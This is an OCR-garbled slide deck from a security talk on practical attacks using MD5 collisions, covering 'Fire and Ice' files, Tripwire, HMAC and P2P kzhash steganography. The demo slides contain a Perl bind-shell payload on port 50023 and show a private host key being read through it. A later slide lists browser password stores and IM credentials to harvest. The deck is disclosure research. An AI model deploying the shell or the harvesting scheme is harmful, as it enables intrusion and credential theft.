MD5 To Be Considered Harmful
(Someday)
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Basics

-]
e MD5: Hashing algorithm

- “Fingerprint” of data — easy to synthesize (push
here), hard to fake (grow this)

- Known since 1997 it was theoretically not so hard to
create two different sets of data with the same hash

- Recently: Not so theoretical
e All they released: The two sets of data (“vectors”)



Limitations
]

e Poor understanding of how to actually exploit the MD5
collision
— Collision mechanism unreleased

- Collisions only creatable between two specially designed sets
of data — not a general purpose attack
e Same output as the birthday attack. So, if birthday dropped
MD5 security to 2264 (which we’ve said for years), Wang
dropped MD5 security to 2224-2232. Ouch.
- Summary: A fundamental constraint of the system has been
violated...but what this means is unclear



The Question
-

e Is it possible, with nothing but the two vectors
with matching MD5 hashes, to find an applied
security risk?

- Answer: Yes.

— Caveats: This is early. This is rudimentary. This is
not the BIC Pen to the tubular lock of MD5. But it's
interesting.



The Thesis
]

e MDS5 presents functionally weaker security
constraints than the cryptographically secure hash
primitive offers in general, and SHA-1 in particular.

e 1. MD5 hashes can no longer imply the behavior of
executable data
- If md5(exe1) == md5(exe2), behavior(exe1) ?= behavior(exe2)
_ “Stripwire”, C(CC|NN)

e 2. MD5 hashes can no longer imply the information
equivalence of datasets

- If md5(datal) == md5(data2),
information(data1) ?= information(data2)

-~ P2P attacks



How MD5 Works

e MD5 is a block-based algorithm
— Start with a 128 bit system state (arbitrary)
— Stir in 512 bits of data
- Repeat until no more data
- End up with 128 bits, all stirred up

e Security is provided by the difficulty of figuring
out how to precisely stir the initial state



A Curious Trait of Block Based
Hashes

e |f two files have the same hash, then two files
appended with the same data also have the same hash
— if md5(x) == md5(y)
then md5(x+q) == md5(y+q)
e Assuming length(x) mod 64 == 0
-~ The information of the two files’ difference was lost in the
stirring

- This is a well known trait among those who work with block-
based algorithms



Definitions
N

e vecl, vec2
— Our two files (“vectors”) with the exact same hash

e Payload

— A set of commands to do “stuff’.

e Encrypted Payload

- Payload encrypted using the SHA-1 hash of vec1 as
a key



In Fire and Ice

e [Two Files: Fire and Ice

— Fire = vec1 and Encrypted Payload
~ lce = vec2 and Encrypted Payload

e Fire contains sufficient context to be decrypted and
executed

- Key=sha1(vec1), which decrypts the payload
e Ice doesn’t contain vec1, so there’s insufficient context
to decrypt the payload

- The payload is frozen.



The Other Shoe Drops

]
e Fire and Ice have the same MD5 hash.
e MdS5(x+q) == md5(y+q)
- X =vecT
—- Yy =vec2
- g = encrypted payload
e Fire executes an arbitrary series of commands

e |ce resists reverse engineering with the
strength of the encryption algorithm (AES)




Demo|[0]: The Vectors
-
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Demo[1]: Equivalence
S

® S mdbsum.exe vecl vec2; shalsum.exe vecl vec?
79054025255fbla26edbcd22aefbdebd *vecl
79054025255fblaz26edbcd22aef54ebd *vec?
a34473cft767c6108a5751a20971f1£fdfba97690a *vecl
4283dd2d70afl1ad3c2d5£dc917330b£502035658 *vec?2



Demo[2]: Still The Same
c__

@ S dd if=/dev/urandom bs=1024 count=1024 >
arbitrary data
1024+0 records 1in
1024+0 records out

® 5 cat vecl arbitrary data > vl arb
$ cat vec2 arbitrary data > v2 arb

® 5 mdbsum.exe vl arb v2 arb; shalsum.exe vl arb v2Z arb
e9b26b1b200e1c848196b264d4589174 *v1 arb
e9b26b1lb200e1c848196b264d4589174 *v2 arb
7a7961d6£31dadaldf1£20290754c49860c22dad *v1 arb
4o6dff£783£129c068419cbaal80abcb/b8acel3d *v2Z arb

e But they still differ at the start.



Demo[3]: Our Payload
c__

® S cat backlash.pl
#!/usr/bin/perl
# Backlash: Open a pseudoshell on port 50023
it Author: Samy Kamkar, www.lucidx.com

use 10;
while (1) {
while (Sc=new IO::Socket::INET (LocalPort,
50023, Reuse, 1, Listen) —->accept) {
$~->fdopen (Sc,w) ;
STDIN->fdopen (Sc, r) ;
system$ while<>;



Demol[4]: Packaging The Payload
.

® S ./stripwire.pl -v -b backlash.pl
fire.bin: mdb = 4df0lec3al8df7d7d6ocdf8el6e98cd99
ice.bin: mdb = 4df0lec3al8df’7d7docdf8el6e98cd99
fire.bin: shal =
a’lf6ebb805acbh95e4553£84cb9%ec40865ccl11e08
ice.bin: shal =
85£602de91440cd877¢c7393£2a58b5£0d72cbc35



Demo[5]: Altered Behavior, Same
Hash

® S ./stripwire.pl -v -r ice.bin
Unable to decrypt file: ice.bin
$ ./stripwire.pl -v -r fire.bin &
$ telnet 127.0.0.1 50023
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '""]'.
cat /etc/ssh host dsa key demo
————— BEGIN DSA PRIVATE KEY-—-—--
MIHS5AgEAAKEAl1CcTshGgpYY0eQgRBIRyQCrBDgXhEFWEFTbxazsgbrKie
bhl1aaldET6VPYZ7/01PbrKxwMnX5mcEHywmEhOcKOOpwIVAJyQO0Z1k
PRPr2eJWz/ECgrl1XgUvPAkBWeUy6MJIHAPOSSF+T0OV7vs319fGvw078
dthueQ2pAZHJ10635C2n9JkaMZRHENnJ7c0
AxMEHNFAmIVvXTNFCavKZAKkEA1eVENTEFNNV/SIf0mdz60mJ1Hz32z350
R71h1SSxPon+IxzKsoAEP9Jky]S67+HBQGpowxNuukOFagDwllgclG
fwIVAJuPpSnbyj2ezbm7aTzz2/————- END DSA PRIVATE KEY-—-—--



Is Tripwire Dead?
-

e Short Answer: No.
- “The Externality Argument”. Executable behavior is not
entirely specified by file data
e Hardware Characteristics (CPU, Temp)
e File Metadata (Name, Date)
e Network Metadata (DNS searchlist, IP)
e Memory-Only Exploits
e Random Number Generator
e Network Activity (ET Phone Home)
- “The Infallible Auditor Argument”: Ice must be trusted before
Fire may be swapped in
e “But why are you trusting ice?”



Does Tripwire Have A Problem?
c--

e Short Answer: Yes

- The “Externality Argument”
e “Why not just have the application download new code to run?”

e Yes. Commands can be gotten from outside the MD5-hashed
dataset. No hashing algorithm can verify the integrity of data it's
not hashing. But MD5 is failing to verify the integrity of data it is
hashing.

— The “Infallible Auditor Argument”
e “Who would trust ice?”

e That another defense will, hopefully, prevent the MD5 failure from
being exploited does not mean the MD5 failure has not brought
us closer to exploitability

— Black box testing will never detect that Ice can become Fire — and
there is another failure mode...



On The Power Of Auditors[0]
—

e Halting Problem limits ability of auditors

- Obfuscatory capabilities are great — couple bit difference
allows for the envelopment of payload in AES shell

e Encrypted data and compressed data have near-identical entropy
profiles — embedded compressed content common
e Can also embed a JPEG containing steganographically encoded
instructions
— If | can “trick” an auditor into trusting something that will never
actually do any damage, no matter what the inputs or outputs
happen to be, then | can later swap that perfectly harmless
executable for one with arbitrary behavior

e This is new.



On The Power Of Auditors|1]
c__

e Diffie-Helman Prime Conflation

Significant because there’s nothing for an auditor to detect, but
the failure critically defeats a cryptographic subsystem

e Discovered by John Kelsey, verified by Ben Laurie
DH requires prime moduli
Vec1 || 0000000000000000000000000000001B
IS prime
Vec2 || 0000000000000000000000000000001B
IS not prime
Send Vec1 set to auditor — impossible to detect that vecZ2 can
be swapped in to destroy the cryptosystem



Applied Failure Scenarios
c__

e Auditor Bypass
- Developers send one payload to testers, another to factory

- Developers can be seen as auditors too — infect the build tools,
only what gets shipped gets infected. Developers can’t use
MDS5 hash to verify equivalence between sent and shipped.

e Distributed Package Management

-~ MD5 hashes are centrally distributed, along with mirror lists.
Files acquired from mirrors are tested against MD5 hash. If
match, install.

— Mirrors can send Ice to central package manager and Fire to
whoever they like



Bit Commitment Also Falls

e Bit Commitment (Slashdotter)

— Alice sends Bob MD5 hash of data, “committing” her
to some dataset

- Bob makes bets based on what he guesses Alice
has

- Intended Behavior: Bob registers bets, Alice sends
data, Bob verifies hash, Alice pays off bets

- New Behavior: Bob registers bets, Alice selects
dataset where she wins, Bob verifies hash, Alice
doesn’t pay



The (Still Secret) Actual Attack
—

e Everything we've done has been with just the test
vectors

— Append only, single bit of information

e Actual attack is much more powerful

- Adjusts to any state of the MD5 machine
e Can now both append and prepend w/o changing final hash
e Fire.exe and Ice.exe — no execution harness required
-~ Can create any number of swappable collisions — actually
relatively fast to do so (Joux’s insight)

e “Doppelganger” blocks — they may exist anywhere within a
file, and may be swapped out for one another without
altering the ultimate MD5 hash



HMAC: Not Completely
Invulnerable

e HMAC algorithm:
— Inner = MD5(Key XOR 0x36 + Data)
— Outer = MD5(Key XOR 0x5c + Inner)
- HMAC-MD5 = Outer

e Been said this is totally immune. It's not.

— Actual attack adapts to any initial state. Inner creates a new
initial state that Data is integrated into. If attacker knows Key,
can create colliding data

-~ Would be impossible if Data was double-hashed in both Inner
and Outer loop — would have to adapt Data to two different
initial states



HMAC: Arguably Invulnerable
Enough

e MAC Primitive is allowed to collapse when key is
Known.

— Most other MACs do
- This completely obviates most applied risks
e Still worth noting...

— We've never been able to create an HMAC-MD5 collision
before, key or not.

- HMAC-MDS has degraded in a way HMAC-SHA1 has not.

— Microsoft X-BOX signs HMAC-SHA1. There are thus

deployed products that desire both collision resistance and
MAC properties.

e Digital signatures completely vulnerable



Bits and Pieces

o]
e Vec1 vs. Vec2 = A Single Bit Of Information

e Suppose we can calculate multicollisions
— 2 collisions = 1 bit (2*1), 4 collisions = 2 bits (2*2), 256
collisions = 8 bits (248)
— Note it gets more and more expensive to add bits this way

e Remember we aren’t tied to the default initial state of
MDS
- We can chain sets of doppelgangers together
— Data capacity is summed across every set

- 16 blocks, each adapting to emitted state of the last, each with
256 possibilities, yields 128 bits



MDS5 Steganography
—

e Data can be embedded within a supposedly
“constant” file that actually changes, with MD5
unable to see those changes

- CRC-32 and TCP/IP checksums vulnerable to this
too

- But MD5 promises computational infeasibility — “this
is the exact same data you hashed back then”

e It doesn’t have to be.
e Defense against malicious intent part of the MD5 mandate



P2P Yeah You Know Me
]

e MP3

- MP3 players skip over “garbage blocks”
e vecl/vec2 or our doppelganger set
— P2P tools commonly distribute MP3’s; use hashes to organize
this distribution
e Searching — Hashes coalesce identical content

e Verifying — Hashes guarantee what was searched for is what was
downloaded

e Note: I’'m not taking sides. I’'m demonstrating broken
applications.
-~ Possible to prepend each MP3 with a 128 bit multi-
doppelganger set, without breaking search or violating integrity
e Allows tracing 3" generation downloads to 2"d uploads



Execute Able

e Limit of MP3 tracing: Can only get back what you put
In
- MP3 decoders not Turing complete (sans major exploit)
— Software installers are, though

e Installer Strikeback: Installer self-modifies w/
fingerprint of host it's being installed on

- Instead of trying to trick the attacker into “phoning home” (say
with DNS), piggyback on their inevitable generosity to share n
most valuable bits

- Can also work multi-generation — i.e. mutate as distributed
along a P2P network, and the net won'’t notice / complain



Personal ldentifiers
N

e Stuff to get

Network data -- IP address, DNS name, default name server, MAC
address

Browser Cookies, Caches, and Password Stores -- Online Banking,
Hotmail, Amazon 1-Click

Cached Instant Messenger Credentials -- Yahoo, AOL IM, MSN,
Trillian

P2P Memberships -- KaZaA, Gnutella2

Corporate Identifiers -- VPN Client Data / Logs

Shipped Material -- CPU ID, Vendor ID, Windows Activation Key
System Configurations -- Time Zone, Telephone API area code
Wireless Data -- MAC addresses of local access points
Existence Tests -- Special files in download directory



The Caveat
]

e None of this works w/o the actual attack
- Can’t make new doppelganger blocks

— Can’t chain from anything but default MD5 initial
state

- ®
e Are we lost?
- No — thank you KaZaA



Packing the kzhash
-

e Kzhash — custom hashing mode using MD5
-~ Based on Merkle’s Tiger Trees
- Not the standard “magnet”/TTH links
— First half = MD5(first 300K of file)
— Second half = All proceeding 32K chunks

e Two benefits

— Able to distribute hashing load across time to download, even
with out of order data acquisition

— Able to efficiently calculate integrity-verifying sums for partial
datasets



Smoking the kzhash
—

e Restarting the hash every 32K ==
Hash begins from initial state every 32K ==
Hash begins from vec1/vec2 state every 32K ==
We can embed one bit every 32K
e Specifics
-~ Vec1 and Vec2 are 128 bytes apiece (0.09% efficiency, wow)
- 32768-128=32640 bytes of payload
e Only 0.4% data expansion
e MP3: Average size == 4.5MB => 4.2MB of 32K chunks => 134
bits of KaZaA-stego per MP3 today

e Apps: Average size == 60MB => 1920 bits

— Added space offset by need for redundancy — larger the file, more
hosts may serve 32K chunks



Kzhash Demo
]

® #setup
dd if=/dev/urandom of=foo bs=32640 \
count=1
cat vecl foo > 1
cat vec?2 foo > 0

e S cat 11 01 1 01 0 | perl kzhash.pl
760576472108911cf227066e11837142
S cat 0 0001 1 1 1 | perl kzhash.pl
760576472108911cf227066e11837142

e \Works foday.



Conclusion
oo

e We've known MD5 was weak for a very long
time
- 1997 was the first brick to fall
-~ More will come

e USE SHA-11 ©



